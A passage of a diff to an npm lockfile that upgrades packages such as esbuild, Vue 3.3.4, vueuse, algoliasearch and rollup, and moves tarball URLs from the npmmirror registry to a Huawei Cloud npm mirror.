"sha512-Rzf4QfQagnwhQXVBS3BYUlxmEbcV7MY+BH5vfDZekU5eYpcffHSyjU8T0xucKVuOcdCsMo+Ur5wmgQJH2GfNrg==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/sunos-x64/-/sunos-x64-0.17.19.tgz", + "integrity": "sha512-vCRT7yP3zX+bKWFeP/zdS6SqdWB8OIpaRq/mbXQxTGHnIxspRtigpkUcDMlSCOejlHowLqII7K2JKevwyRP2rg==", "dev": true, "optional": true }, "@esbuild/win32-arm64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.17.18.tgz", - "integrity": "sha512-Kb3Ko/KKaWhjeAm2YoT/cNZaHaD1Yk/pa3FTsmqo9uFh1D1Rfco7BBLIPdDOozrObj2sahslFuAQGvWbgWldAg==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/win32-arm64/-/win32-arm64-0.17.19.tgz", + "integrity": "sha512-yYx+8jwowUstVdorcMdNlzklLYhPxjniHWFKgRqH7IFlUEa0Umu3KuYplf1HUZZ422e3NU9F4LGb+4O0Kdcaag==", "dev": true, "optional": true }, "@esbuild/win32-ia32": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.17.18.tgz", - "integrity": "sha512-0/xUMIdkVHwkvxfbd5+lfG7mHOf2FRrxNbPiKWg9C4fFrB8H0guClmaM3BFiRUYrznVoyxTIyC/Ou2B7QQSwmw==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/win32-ia32/-/win32-ia32-0.17.19.tgz", + "integrity": "sha512-eggDKanJszUtCdlVs0RB+h35wNlb5v4TWEkq4vZcmVt5u/HiDZrTXe2bWFQUez3RgNHwx/x4sk5++4NSSicKkw==", "dev": true, "optional": true }, "@esbuild/win32-x64": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.17.18.tgz", - "integrity": "sha512-qU25Ma1I3NqTSHJUOKi9sAH1/Mzuvlke0ioMJRthLXKm7JiSKVwFghlGbDLOO2sARECGhja4xYfRAZNPAkooYg==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/@esbuild/win32-x64/-/win32-x64-0.17.19.tgz", + "integrity": "sha512-lAhycmKnVOuRYNtRtatQR1LPQf2oYCkRGkSFnseDAKPl8lu5SOsK/e1sXe5a0Pc5kHIHe6P2I/ilntNv2xf3cA==", "dev": true, "optional": true }, @@ -3206,6 +3370,12 @@ "resolved": "https://registry.npmmirror.com/@fortawesome/fontawesome-free/-/fontawesome-free-5.15.4.tgz", "integrity": "sha512-eYm8vijH/hpzr/6/1CJ/V/Eb1xQFW2nnUKArb3z+yUWv7HTwj6M7SP957oMjfZjAHU6qpoNc2wQvIxBLWYa/Jg==" }, + "@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://repo.huaweicloud.com/repository/npm/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==", + "dev": true + }, "@jupyter/ydoc": { "version": "1.0.2", "resolved": "https://registry.npmmirror.com/@jupyter/ydoc/-/ydoc-1.0.2.tgz", @@ -3891,13 +4061,6 @@ "@types/prop-types": "*", "@types/scheduler": "*", "csstype": "^3.0.2" - }, - "dependencies": { - "csstype": { - "version": "3.1.2", - "resolved": "https://registry.npmmirror.com/csstype/-/csstype-3.1.2.tgz", - "integrity": "sha512-I7K1Uu0MBPzaFKg4nI5Q7Vs2t+3gWWW648spaF+Rg7pI9ds18Ugn+lvg4SHczUdKlHI5LWBXyqfS8+DufyBsgQ==" - } } }, "@types/scheduler": { @@ -3906,66 +4069,66 @@ "integrity": "sha512-5cJ8CB4yAx7BH1oMvdU0Jh9lrEXyPkar6F9G/ERswkCuvP4KQZfZkSjcMbAICCpQTN4OuZn8tz0HiKv9TGZgrQ==" }, "@types/web-bluetooth": { - "version": "0.0.16", - "resolved": "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.16.tgz", - "integrity": "sha512-oh8q2Zc32S6gd/j50GowEjKLoOVOwHP/bWVjKJInBwQqdOYMdPrf1oVlelTlyfFK3CKxL1uahMDAr+vy8T7yMQ==", + "version": "0.0.17", + "resolved": "https://repo.huaweicloud.com/repository/npm/@types/web-bluetooth/-/web-bluetooth-0.0.17.tgz", + "integrity": "sha512-4p9vcSmxAayx72yn70joFoL44c9MO/0+iVEBIQXe3v2h2SiAsEIo/G5v6ObFWvNKRFjbrVadNf9LqEEZeQPzdA==", "dev": true }, "@vitejs/plugin-vue": { - "version": "4.2.1", - "resolved": "https://registry.npmmirror.com/@vitejs/plugin-vue/-/plugin-vue-4.2.1.tgz", - "integrity": "sha512-ZTZjzo7bmxTRTkb8GSTwkPOYDIP7pwuyV+RV53c9PYUouwcbkIZIvWvNWlX2b1dYZqtOv7D6iUAnJLVNGcLrSw==", + "version": "4.2.3", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vitejs/plugin-vue/-/plugin-vue-4.2.3.tgz", + "integrity": "sha512-R6JDUfiZbJA9cMiguQ7jxALsgiprjBeHL5ikpXfJCH62pPHtI+JdJ5xWj6Ev73yXSlYl86+blXn1kZHQ7uElxw==", "dev": true, "requires": {} }, "@vue/compiler-core": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.2.47.tgz", - "integrity": "sha512-p4D7FDnQb7+YJmO2iPEv0SQNeNzcbHdGByJDsT4lynf63AFkOTFN07HsiRSvjGo0QrxR/o3d0hUyNCUnBU2Tig==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-core/-/compiler-core-3.3.4.tgz", + "integrity": "sha512-cquyDNvZ6jTbf/+x+AgM2Arrp6G4Dzbb0R64jiG804HRMfRiFXWI6kqUVqZ6ZR0bQhIoQjB4+2bhNtVwndW15g==", "dev": true, "requires": { - "@babel/parser": "^7.16.4", - "@vue/shared": "3.2.47", + "@babel/parser": "^7.21.3", + "@vue/shared": "3.3.4", "estree-walker": "^2.0.2", - "source-map": "^0.6.1" + "source-map-js": "^1.0.2" } }, "@vue/compiler-dom": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.2.47.tgz", - "integrity": "sha512-dBBnEHEPoftUiS03a4ggEig74J2YBZ2UIeyfpcRM2tavgMWo4bsEfgCGsu+uJIL/vax9S+JztH8NmQerUo7shQ==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-dom/-/compiler-dom-3.3.4.tgz", + "integrity": "sha512-wyM+OjOVpuUukIq6p5+nwHYtj9cFroz9cwkfmP9O1nzH68BenTTv0u7/ndggT8cIQlnBeOo6sUT/gvHcIkLA5w==", "dev": true, "requires": { - "@vue/compiler-core": "3.2.47", - "@vue/shared": "3.2.47" + "@vue/compiler-core": "3.3.4", + "@vue/shared": "3.3.4" } }, "@vue/compiler-sfc": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.2.47.tgz", - "integrity": "sha512-rog05W+2IFfxjMcFw10tM9+f7i/+FFpZJJ5XHX72NP9eC2uRD+42M3pYcQqDXVYoj74kHMSEdQ/WmCjt8JFksQ==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-sfc/-/compiler-sfc-3.3.4.tgz", + "integrity": "sha512-6y/d8uw+5TkCuzBkgLS0v3lSM3hJDntFEiUORM11pQ/hKvkhSKZrXW6i69UyXlJQisJxuUEJKAWEqWbWsLeNKQ==", "dev": true, "requires": { - "@babel/parser": "^7.16.4", - "@vue/compiler-core": "3.2.47", - "@vue/compiler-dom": "3.2.47", - "@vue/compiler-ssr": "3.2.47", - "@vue/reactivity-transform": "3.2.47", - "@vue/shared": "3.2.47", + "@babel/parser": "^7.20.15", + "@vue/compiler-core": "3.3.4", + "@vue/compiler-dom": "3.3.4", + "@vue/compiler-ssr": "3.3.4", + "@vue/reactivity-transform": "3.3.4", + "@vue/shared": "3.3.4", "estree-walker": "^2.0.2", - "magic-string": "^0.25.7", + "magic-string": "^0.30.0", "postcss": "^8.1.10", - "source-map": "^0.6.1" + "source-map-js": "^1.0.2" } }, "@vue/compiler-ssr": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.2.47.tgz", - "integrity": "sha512-wVXC+gszhulcMD8wpxMsqSOpvDZ6xKXSVWkf50Guf/S+28hTAXPDYRTbLQ3EDkOP5Xz/+SY37YiwDquKbJOgZw==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/compiler-ssr/-/compiler-ssr-3.3.4.tgz", + "integrity": "sha512-m0v6oKpup2nMSehwA6Uuu+j+wEwcy7QmwMkVNVfrV9P2qE5KshC6RwOCq8fjGS/Eak/uNb8AaWekfiXxbBB6gQ==", "dev": true, "requires": { - "@vue/compiler-dom": "3.2.47", - "@vue/shared": "3.2.47" + "@vue/compiler-dom": "3.3.4", + "@vue/shared": "3.3.4" } }, "@vue/devtools-api": { @@ -3975,104 +4138,124 @@ "dev": true }, "@vue/reactivity": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.2.47.tgz", - "integrity": "sha512-7khqQ/75oyyg+N/e+iwV6lpy1f5wq759NdlS1fpAhFXa8VeAIKGgk2E/C4VF59lx5b+Ezs5fpp/5WsRYXQiKxQ==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/reactivity/-/reactivity-3.3.4.tgz", + "integrity": "sha512-kLTDLwd0B1jG08NBF3R5rqULtv/f8x3rOFByTDz4J53ttIQEDmALqKqXY0J+XQeN0aV2FBxY8nJDf88yvOPAqQ==", "dev": true, "requires": { - "@vue/shared": "3.2.47" + "@vue/shared": "3.3.4" } }, "@vue/reactivity-transform": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/reactivity-transform/-/reactivity-transform-3.2.47.tgz", - "integrity": "sha512-m8lGXw8rdnPVVIdIFhf0LeQ/ixyHkH5plYuS83yop5n7ggVJU+z5v0zecwEnX7fa7HNLBhh2qngJJkxpwEEmYA==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/reactivity-transform/-/reactivity-transform-3.3.4.tgz", + "integrity": "sha512-MXgwjako4nu5WFLAjpBnCj/ieqcjE2aJBINUNQzkZQfzIZA4xn+0fV1tIYBJvvva3N3OvKGofRLvQIwEQPpaXw==", "dev": true, "requires": { - "@babel/parser": "^7.16.4", - "@vue/compiler-core": "3.2.47", - "@vue/shared": "3.2.47", + "@babel/parser": "^7.20.15", + "@vue/compiler-core": "3.3.4", + "@vue/shared": "3.3.4", "estree-walker": "^2.0.2", - "magic-string": "^0.25.7" + "magic-string": "^0.30.0" } }, "@vue/runtime-core": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.2.47.tgz", - "integrity": "sha512-RZxbLQIRB/K0ev0K9FXhNbBzT32H9iRtYbaXb0ZIz2usLms/D55dJR2t6cIEUn6vyhS3ALNvNthI+Q95C+NOpA==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/runtime-core/-/runtime-core-3.3.4.tgz", + "integrity": "sha512-R+bqxMN6pWO7zGI4OMlmvePOdP2c93GsHFM/siJI7O2nxFRzj55pLwkpCedEY+bTMgp5miZ8CxfIZo3S+gFqvA==", "dev": true, "requires": { - "@vue/reactivity": "3.2.47", - "@vue/shared": "3.2.47" + "@vue/reactivity": "3.3.4", + "@vue/shared": "3.3.4" } }, "@vue/runtime-dom": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.2.47.tgz", - "integrity": "sha512-ArXrFTjS6TsDei4qwNvgrdmHtD930KgSKGhS5M+j8QxXrDJYLqYw4RRcDy1bz1m1wMmb6j+zGLifdVHtkXA7gA==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/runtime-dom/-/runtime-dom-3.3.4.tgz", + "integrity": "sha512-Aj5bTJ3u5sFsUckRghsNjVTtxZQ1OyMWCr5dZRAPijF/0Vy4xEoRCwLyHXcj4D0UFbJ4lbx3gPTgg06K/GnPnQ==", "dev": true, "requires": { - "@vue/runtime-core": "3.2.47", - "@vue/shared": "3.2.47", - "csstype": "^2.6.8" + "@vue/runtime-core": "3.3.4", + "@vue/shared": "3.3.4", + "csstype": "^3.1.1" } }, "@vue/server-renderer": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.2.47.tgz", - "integrity": "sha512-dN9gc1i8EvmP9RCzvneONXsKfBRgqFeFZLurmHOveL7oH6HiFXJw5OGu294n1nHc/HMgTy6LulU/tv5/A7f/LA==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/server-renderer/-/server-renderer-3.3.4.tgz", + "integrity": "sha512-Q6jDDzR23ViIb67v+vM1Dqntu+HUexQcsWKhhQa4ARVzxOY2HbC7QRW/ggkDBd5BU+uM1sV6XOAP0b216o34JQ==", "dev": true, "requires": { - "@vue/compiler-ssr": "3.2.47", - "@vue/shared": "3.2.47" + "@vue/compiler-ssr": "3.3.4", + "@vue/shared": "3.3.4" } }, "@vue/shared": { - "version": "3.2.47", - "resolved": "https://registry.npmmirror.com/@vue/shared/-/shared-3.2.47.tgz", - "integrity": "sha512-BHGyyGN3Q97EZx0taMQ+OLNuZcW3d37ZEVmEAyeoA9ERdGvm9Irc/0Fua8SNyOtV1w6BS4q25wbMzJujO9HIfQ==", + "version": "3.3.4", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vue/shared/-/shared-3.3.4.tgz", + "integrity": "sha512-7OjdcV8vQ74eiz1TZLzZP4JwqM5fA94K6yntPS5Z25r9HDuGNzaGdgvwKYq6S+MxwF0TFRwe50fIR/MYnakdkQ==", "dev": true }, "@vueuse/core": { - "version": "10.1.0", - "resolved": "https://registry.npmmirror.com/@vueuse/core/-/core-10.1.0.tgz", - "integrity": "sha512-3Znoa5m5RO+z4/C9w6DRaKTR3wCVJvD5rav8HTDGsr+7rOZRHtcgFJ8NcCs0ZvIpmev2kExTa311ns5j2RbzDQ==", + "version": "10.1.2", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/core/-/core-10.1.2.tgz", + "integrity": "sha512-roNn8WuerI56A5uiTyF/TEYX0Y+VKlhZAF94unUfdhbDUI+NfwQMn4FUnUscIRUhv3344qvAghopU4bzLPNFlA==", "dev": true, "requires": { - "@types/web-bluetooth": "^0.0.16", - "@vueuse/metadata": "10.1.0", - "@vueuse/shared": "10.1.0", + "@types/web-bluetooth": "^0.0.17", + "@vueuse/metadata": "10.1.2", + "@vueuse/shared": "10.1.2", "vue-demi": ">=0.14.0" }, "dependencies": { "vue-demi": { - "version": "0.14.0", - "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.0.tgz", - "integrity": "sha512-gt58r2ogsNQeVoQ3EhoUAvUsH9xviydl0dWJj7dabBC/2L4uBId7ujtCwDRD0JhkGsV1i0CtfLAeyYKBht9oWg==", + "version": "0.14.5", + "resolved": "https://repo.huaweicloud.com/repository/npm/vue-demi/-/vue-demi-0.14.5.tgz", + "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", + "dev": true, + "requires": {} + } + } + }, + "@vueuse/integrations": { + "version": "10.1.2", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/integrations/-/integrations-10.1.2.tgz", + "integrity": "sha512-wUpG3Wv6LiWerOwCzOAM0iGhNQ4vfFUTkhj/xQy7TLXduh2M3D8N08aS0KqlxsejY6R8NLxydDIM+68QfHZZ8Q==", + "dev": true, + "requires": { + "@vueuse/core": "10.1.2", + "@vueuse/shared": "10.1.2", + "vue-demi": ">=0.14.0" + }, + "dependencies": { + "vue-demi": { + "version": "0.14.5", + "resolved": "https://repo.huaweicloud.com/repository/npm/vue-demi/-/vue-demi-0.14.5.tgz", + "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", "dev": true, "requires": {} } } }, "@vueuse/metadata": { - "version": "10.1.0", - "resolved": "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-10.1.0.tgz", - "integrity": "sha512-cM28HjDEw5FIrPE9rgSPFZvQ0ZYnOLAOr8hl1XM6tFl80U3WAR5ROdnAqiYybniwP5gt9MKKAJAqd/ab2aHkqg==", + "version": "10.1.2", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/metadata/-/metadata-10.1.2.tgz", + "integrity": "sha512-3mc5BqN9aU2SqBeBuWE7ne4OtXHoHKggNgxZR2K+zIW4YLsy6xoZ4/9vErQs6tvoKDX6QAqm3lvsrv0mczAwIQ==", "dev": true }, "@vueuse/shared": { - "version": "10.1.0", - "resolved": "https://registry.npmmirror.com/@vueuse/shared/-/shared-10.1.0.tgz", - "integrity": "sha512-2X52ogu12i9DkKOQ01yeb/BKg9UO87RNnpm5sXkQvyORlbq8ONS5l39MYkjkeVWWjdT0teJru7a2S41dmHmqjQ==", + "version": "10.1.2", + "resolved": "https://repo.huaweicloud.com/repository/npm/@vueuse/shared/-/shared-10.1.2.tgz", + "integrity": "sha512-1uoUTPBlgyscK9v6ScGeVYDDzlPSFXBlxuK7SfrDGyUTBiznb3mNceqhwvZHjtDRELZEN79V5uWPTF1VDV8svA==", "dev": true, "requires": { "vue-demi": ">=0.14.0" }, "dependencies": { "vue-demi": { - "version": "0.14.0", - "resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.0.tgz", - "integrity": "sha512-gt58r2ogsNQeVoQ3EhoUAvUsH9xviydl0dWJj7dabBC/2L4uBId7ujtCwDRD0JhkGsV1i0CtfLAeyYKBht9oWg==", + "version": "0.14.5", + "resolved": "https://repo.huaweicloud.com/repository/npm/vue-demi/-/vue-demi-0.14.5.tgz", + "integrity": "sha512-o9NUVpl/YlsGJ7t+xuqJKx8EBGf1quRhCiT6D/J0pfwmk9zUwYkC7yrF4SZCe6fETvSM3UNL2edcbYrSyc4QHA==", "dev": true, "requires": {} } @@ -4090,25 +4273,25 @@ } }, "algoliasearch": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/algoliasearch/-/algoliasearch-4.17.0.tgz", - "integrity": "sha512-JMRh2Mw6sEnVMiz6+APsi7lx9a2jiDFF+WUtANaUVCv6uSU9UOLdo5h9K3pdP6frRRybaM2fX8b1u0nqICS9aA==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/algoliasearch/-/algoliasearch-4.17.1.tgz", + "integrity": "sha512-4GDQ1RhP2qUR3x8PevFRbEdqZqIARNViZYjgTJmA1T7wRNtFA3W4Aqc/RsODqa1J8IO/QDla5x4tWuUS8NV8wA==", "dev": true, "requires": { - "@algolia/cache-browser-local-storage": "4.17.0", - "@algolia/cache-common": "4.17.0", - "@algolia/cache-in-memory": "4.17.0", - "@algolia/client-account": "4.17.0", - "@algolia/client-analytics": "4.17.0", - "@algolia/client-common": "4.17.0", - "@algolia/client-personalization": "4.17.0", - "@algolia/client-search": "4.17.0", - "@algolia/logger-common": "4.17.0", - "@algolia/logger-console": "4.17.0", - "@algolia/requester-browser-xhr": "4.17.0", - "@algolia/requester-common": "4.17.0", - "@algolia/requester-node-http": "4.17.0", - "@algolia/transporter": "4.17.0" + "@algolia/cache-browser-local-storage": "4.17.1", + "@algolia/cache-common": "4.17.1", + "@algolia/cache-in-memory": "4.17.1", + "@algolia/client-account": "4.17.1", + "@algolia/client-analytics": "4.17.1", + "@algolia/client-common": "4.17.1", + "@algolia/client-personalization": "4.17.1", + "@algolia/client-search": "4.17.1", + "@algolia/logger-common": "4.17.1", + "@algolia/logger-console": "4.17.1", + "@algolia/requester-browser-xhr": "4.17.1", + "@algolia/requester-common": "4.17.1", + "@algolia/requester-node-http": "4.17.1", + "@algolia/transporter": "4.17.1" } }, "ansi-colors": { @@ -4241,10 +4424,9 @@ "dev": true }, "csstype": { - "version": "2.6.21", - "resolved": "https://registry.npmmirror.com/csstype/-/csstype-2.6.21.tgz", - "integrity": "sha512-Z1PhmomIfypOpoMjRQB70jfvy/wxT50qW08YXO5lMIJkrdq4yOTR+AW7FqutScmB9NkLwxo+jU+kZLbofZZq/w==", - "dev": true + "version": "3.1.2", + "resolved": "https://repo.huaweicloud.com/repository/npm/csstype/-/csstype-3.1.2.tgz", + "integrity": "sha512-I7K1Uu0MBPzaFKg4nI5Q7Vs2t+3gWWW648spaF+Rg7pI9ds18Ugn+lvg4SHczUdKlHI5LWBXyqfS8+DufyBsgQ==" }, "deepmerge": { "version": "4.3.1", @@ -4290,33 +4472,33 @@ "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==" }, "esbuild": { - "version": "0.17.18", - "resolved": "https://registry.npmmirror.com/esbuild/-/esbuild-0.17.18.tgz", - "integrity": "sha512-z1lix43jBs6UKjcZVKOw2xx69ffE2aG0PygLL5qJ9OS/gy0Ewd1gW/PUQIOIQGXBHWNywSc0floSKoMFF8aK2w==", + "version": "0.17.19", + "resolved": "https://repo.huaweicloud.com/repository/npm/esbuild/-/esbuild-0.17.19.tgz", + "integrity": "sha512-XQ0jAPFkK/u3LcVRcvVHQcTIqD6E2H1fvZMA5dQPSOWb3suUbWbfbRf94pjc0bNzRYLfIrDRQXr7X+LHIm5oHw==", "dev": true, "requires": { - "@esbuild/android-arm": "0.17.18", - "@esbuild/android-arm64": "0.17.18", - "@esbuild/android-x64": "0.17.18", - "@esbuild/darwin-arm64": "0.17.18", - "@esbuild/darwin-x64": "0.17.18", - "@esbuild/freebsd-arm64": "0.17.18", - "@esbuild/freebsd-x64": "0.17.18", - "@esbuild/linux-arm": "0.17.18", - "@esbuild/linux-arm64": "0.17.18", - "@esbuild/linux-ia32": "0.17.18", - "@esbuild/linux-loong64": "0.17.18", - "@esbuild/linux-mips64el": "0.17.18", - "@esbuild/linux-ppc64": "0.17.18", - "@esbuild/linux-riscv64": "0.17.18", - "@esbuild/linux-s390x": "0.17.18", - "@esbuild/linux-x64": "0.17.18", - "@esbuild/netbsd-x64": "0.17.18", - "@esbuild/openbsd-x64": "0.17.18", - "@esbuild/sunos-x64": "0.17.18", - "@esbuild/win32-arm64": "0.17.18", - "@esbuild/win32-ia32": "0.17.18", - "@esbuild/win32-x64": "0.17.18" + "@esbuild/android-arm": "0.17.19", + "@esbuild/android-arm64": "0.17.19", + "@esbuild/android-x64": "0.17.19", + "@esbuild/darwin-arm64": "0.17.19", + "@esbuild/darwin-x64": "0.17.19", + "@esbuild/freebsd-arm64": "0.17.19", + "@esbuild/freebsd-x64": "0.17.19", + "@esbuild/linux-arm": "0.17.19", + "@esbuild/linux-arm64": "0.17.19", + "@esbuild/linux-ia32": "0.17.19", + "@esbuild/linux-loong64": "0.17.19", + "@esbuild/linux-mips64el": "0.17.19", + "@esbuild/linux-ppc64": "0.17.19", + "@esbuild/linux-riscv64": "0.17.19", + "@esbuild/linux-s390x": "0.17.19", + "@esbuild/linux-x64": "0.17.19", + "@esbuild/netbsd-x64": "0.17.19", + "@esbuild/openbsd-x64": "0.17.19", + "@esbuild/sunos-x64": "0.17.19", + "@esbuild/win32-arm64": "0.17.19", + "@esbuild/win32-ia32": "0.17.19", + "@esbuild/win32-x64": "0.17.19" } }, "escape-goat": { @@ -4338,7 +4520,7 @@ }, "estree-walker": { "version": "2.0.2", - "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", + "resolved": "https://repo.huaweicloud.com/repository/npm/estree-walker/-/estree-walker-2.0.2.tgz", "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", "dev": true }, @@ -4347,6 +4529,15 @@ "resolved": "https://registry.npmmirror.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" }, + "focus-trap": { + "version": "7.4.3", + "resolved": "https://repo.huaweicloud.com/repository/npm/focus-trap/-/focus-trap-7.4.3.tgz", + "integrity": "sha512-BgSSbK4GPnS2VbtZ50VtOv1Sti6DIkj3+LkVjiWMNjLeAp1SH1UlLx3ULu/DCu4vq5R4/uvTm+zrvsMsuYmGLg==", + "dev": true, + "requires": { + "tabbable": "^6.1.2" + } + }, "free-style": { "version": "3.1.0", "resolved": "https://registry.npmmirror.com/free-style/-/free-style-3.1.0.tgz", @@ -4354,7 +4545,7 @@ }, "fsevents": { "version": "2.3.2", - "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.2.tgz", + "resolved": "https://repo.huaweicloud.com/repository/npm/fsevents/-/fsevents-2.3.2.tgz", "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", "dev": true, "optional": true @@ -4483,12 +4674,12 @@ } }, "magic-string": { - "version": "0.25.9", - "resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.25.9.tgz", - "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", + "version": "0.30.0", + "resolved": "https://repo.huaweicloud.com/repository/npm/magic-string/-/magic-string-0.30.0.tgz", + "integrity": "sha512-LA+31JYDJLs82r2ScLrlz1GjSgu66ZV518eyWT+S8VhyQn/JL0u9MeBOvQMGYiPk1DBiSN9DDMOcXvigJZaViQ==", "dev": true, "requires": { - "sourcemap-codec": "^1.4.8" + "@jridgewell/sourcemap-codec": "^1.4.13" } }, "mark.js": { @@ -4573,9 +4764,9 @@ "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==" }, "minisearch": { - "version": "6.0.1", - "resolved": "https://registry.npmmirror.com/minisearch/-/minisearch-6.0.1.tgz", - "integrity": "sha512-Ly1w0nHKnlhAAh6/BF/+9NgzXfoJxaJ8nhopFhQ3NcvFJrFIL+iCg9gw9e9UMBD+XIsp/RyznJ/o5UIe5Kw+kg==", + "version": "6.1.0", + "resolved": "https://repo.huaweicloud.com/repository/npm/minisearch/-/minisearch-6.1.0.tgz", + "integrity": "sha512-PNxA/X8pWk+TiqPbsoIYH0GQ5Di7m6326/lwU/S4mlo4wGQddIcf/V//1f9TB0V4j59b57b+HZxt8h3iMROGvg==", "dev": true }, "mj-context-menu": { @@ -4659,9 +4850,9 @@ } }, "preact": { - "version": "10.13.2", - "resolved": "https://registry.npmmirror.com/preact/-/preact-10.13.2.tgz", - "integrity": "sha512-q44QFLhOhty2Bd0Y46fnYW0gD/cbVM9dUVtNTDKPcdXSMA7jfY+Jpd6rk3GB0lcQss0z5s/6CmVP0Z/hV+g6pw==", + "version": "10.15.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/preact/-/preact-10.15.1.tgz", + "integrity": "sha512-qs2ansoQEwzNiV5eAcRT1p1EC/dmEzaATVDJNiB3g2sRDWdA7b7MurXdJjB2+/WQktGWZwxvDrnuRFbWuIr64g==", "dev": true }, "prop-types": { @@ -4701,19 +4892,6 @@ "object-assign": "^4.1.1" } }, - "react-dom": { - "version": "17.0.2", - "resolved": "https://registry.npmmirror.com/react-dom/-/react-dom-17.0.2.tgz", - "integrity": "sha512-s4h96KtLDUQlsENhMn1ar8t2bEa+q/YAtj8pPPdIjPDGBDIVNsrD9aXNWqspUe6AzKCIG0C1HZZLqLV7qpOBGA==", - "dev": true, - "optional": true, - "peer": true, - "requires": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1", - "scheduler": "^0.20.2" - } - }, "react-is": { "version": "18.2.0", "resolved": "https://registry.npmmirror.com/react-is/-/react-is-18.2.0.tgz", @@ -4730,9 +4908,9 @@ "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==" }, "rollup": { - "version": "3.21.3", - "resolved": "https://registry.npmmirror.com/rollup/-/rollup-3.21.3.tgz", - "integrity": "sha512-VnPfEG51nIv2xPLnZaekkuN06q9ZbnyDcLkaBdJa/W7UddyhOfMP2yOPziYQfeY7k++fZM8FdQIummFN5y14kA==", + "version": "3.23.0", + "resolved": "https://repo.huaweicloud.com/repository/npm/rollup/-/rollup-3.23.0.tgz", + "integrity": 